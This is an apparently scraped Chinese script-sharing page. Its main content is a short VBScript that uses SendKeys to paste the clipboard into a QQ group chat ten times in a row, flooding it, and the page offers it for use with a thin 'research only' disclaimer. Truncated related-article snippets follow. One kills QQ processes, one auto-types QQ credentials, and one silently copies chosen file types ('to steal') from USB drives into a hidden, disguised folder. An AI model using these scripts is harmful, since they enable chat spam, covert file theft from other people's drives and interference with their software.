刷QQ群的VBS脚本_vbs

使用方法：讲以下代码保存为QQ.vbs,然后复制你要发送的东西，双击QQ.vbs就可以自动刷屏拉！
注意：本代码仅作为技术研究之用，请勿非法使用！
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate "群－交流群"
for i=1 to 10 ‘要发送的次数
WScript.Sleep 500
WshShell.SendKeys "^v"
WshShell.SendKeys i
WshShell.SendKeys "%s"
next

时间： 2024-09-25 17:24:03

刷QQ群的VBS脚本_vbs的相关文章

可以将Bat转换位VBS文件的VBS脚本_vbs

下面代码稍有修改,原结构是脚本与释放的bat同步执行并等待bat执行完毕后删除bat,本意是不遗留临时文件.后来想想通用性不好,比如释放执行的bat文件是个常驻进程的监视类型那VBS也会无休止的等待而无法退出,所以还是改为异步执行,脚本调用bat后自行退出.考虑到还原原文件的完整性末尾添加自删除也打消了想法.压缩包暂未更新. 复制代码代码如下: 'bat2vbs.vbs by baomaboy Dim WshSHell,FSO On Error Resume Next Set WshSHell

查看系统C盘剩余空间的VBS脚本_vbs

复制代码代码如下: '说明 : 通过VBS脚本查看系统C盘剩下的空间 'Creator : Eric1991 'Date : 2013-11-4 Set objWMIService = GetObject("winmgmts:") Set objLogicalDisk = objWMIService.Get("Win32_LogicalDisk.DeviceID='c:'") Wscript.Echo cint(objLogicalDisk.FreeSpace

打开QQ并且让它自己输入用户名和密码的vbs脚本_vbs

可以定时打开QQ并且让它自己输入用户名和密码的脚本复制代码代码如下: dim program program="c:\Program Files\Tencent\qq\QQ.exe" '你的qq路径set Wshell=CreateObject("Wscript.Shell") set oexec=Wshell.Exec(program) wscript.Sleep 2000 Wshell.AppActivate "QQTang"

禁止QQ上网的vbs脚本代码_vbs

dim bag,pipe,honker,good do good="." set bag=getobject("winmgmts:\\"&good&"\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='QQ.exe'") for each i in pipe i.terminate() next wscrip

自动复制U盘文件的VBS脚本_vbs

以下为演示: 一.设置右键单击,选择编辑 oStr = "txt|jpg|doc" '你要窃取的文件类型,可以自行添加,用"|"隔开 oDistPath = "C:\\windows\\system\\" '保存路径 oFolderName = "Task" '保存文件夹名称 oType = 0 '将保存的文件夹进行伪装 1为task文件夹,2为recycler文件夹,0为不伪装 oOut = 1 '1复制完毕后退出,0复制

用于修复XP中最小化程序在任务栏显示图标的vbs脚本_vbs

复制代码代码如下: 'xp_taskbar_desktop_fixall.vbs - Repairs the Taskbar when minimized programs don't show. '?Kelly Theriot and Doug Knox - 8/22/2003 加工加龙ddf3 '翻译:Smallfrogs.翻译内容:将英文提示改为简体中文 '来源:Microsoft Windows XP NewsGroup Set WSHShell = WScript.CreateOb

利用wscript执行文件[包括可执行exe文件]vbs脚本_vbs

昨天下载并且安装了Updater Application Block后,需要执行一个Deploy.vbs的文件,鄙人才疏学浅,这个小问题竟然也花费了我不少心机. 现在把结论共享一下. 首先,我的vbs文件关联已经被"豪杰"夺取了.我双击Deploy.vbs就会打开豪杰,比较郁闷.但是我用了打开方式,试了浏览器.cmd,都无济于事. 今天,我想到这个问题后,就有想法去Microsoft的News Group上去问一问.然后又去了CSDN的全文检索.果然很争气,我的关键字只是vbs,执行,

一个可以更换windows xp or 2003的序列号的vbs脚本_vbs

将以下代码复制到文本文件,另存为vbs文件执行就可以了: 复制代码代码如下: 'For WinXP SP1 SP2 ,Windows Server 2003 '*************************************************************************** ON ERROR RESUME NEXT Dim VOL_PROD_KEY if Wscript.arguments.count<1 then VOL_PROD_KEY=InputBox

qq群等级积分如何刷 QQ群刷积分技巧

积分规则: 1.首先我们必须要拿到手的是基础的积分,根据腾讯官方最新规则,每天进入群和成员互动聊天,最多可以拿到5分基础分,这个相对容易. 2.第二个得分要素是当天积分系数 ,积分系数跟基础分相乘,积分系数来自你一个月内的活跃度,活跃天数越高得分越高.目前这个系数不能查询,但是腾讯后台会给你计算. 3.第三个得分要点是,在手机QQ和其他群友PK,每天最多可以拿下5分.点击群友头像或者头衔就能进如pk页面,赢了第二天将会给你加上积分 4.积分计算公式为当日获得积分 =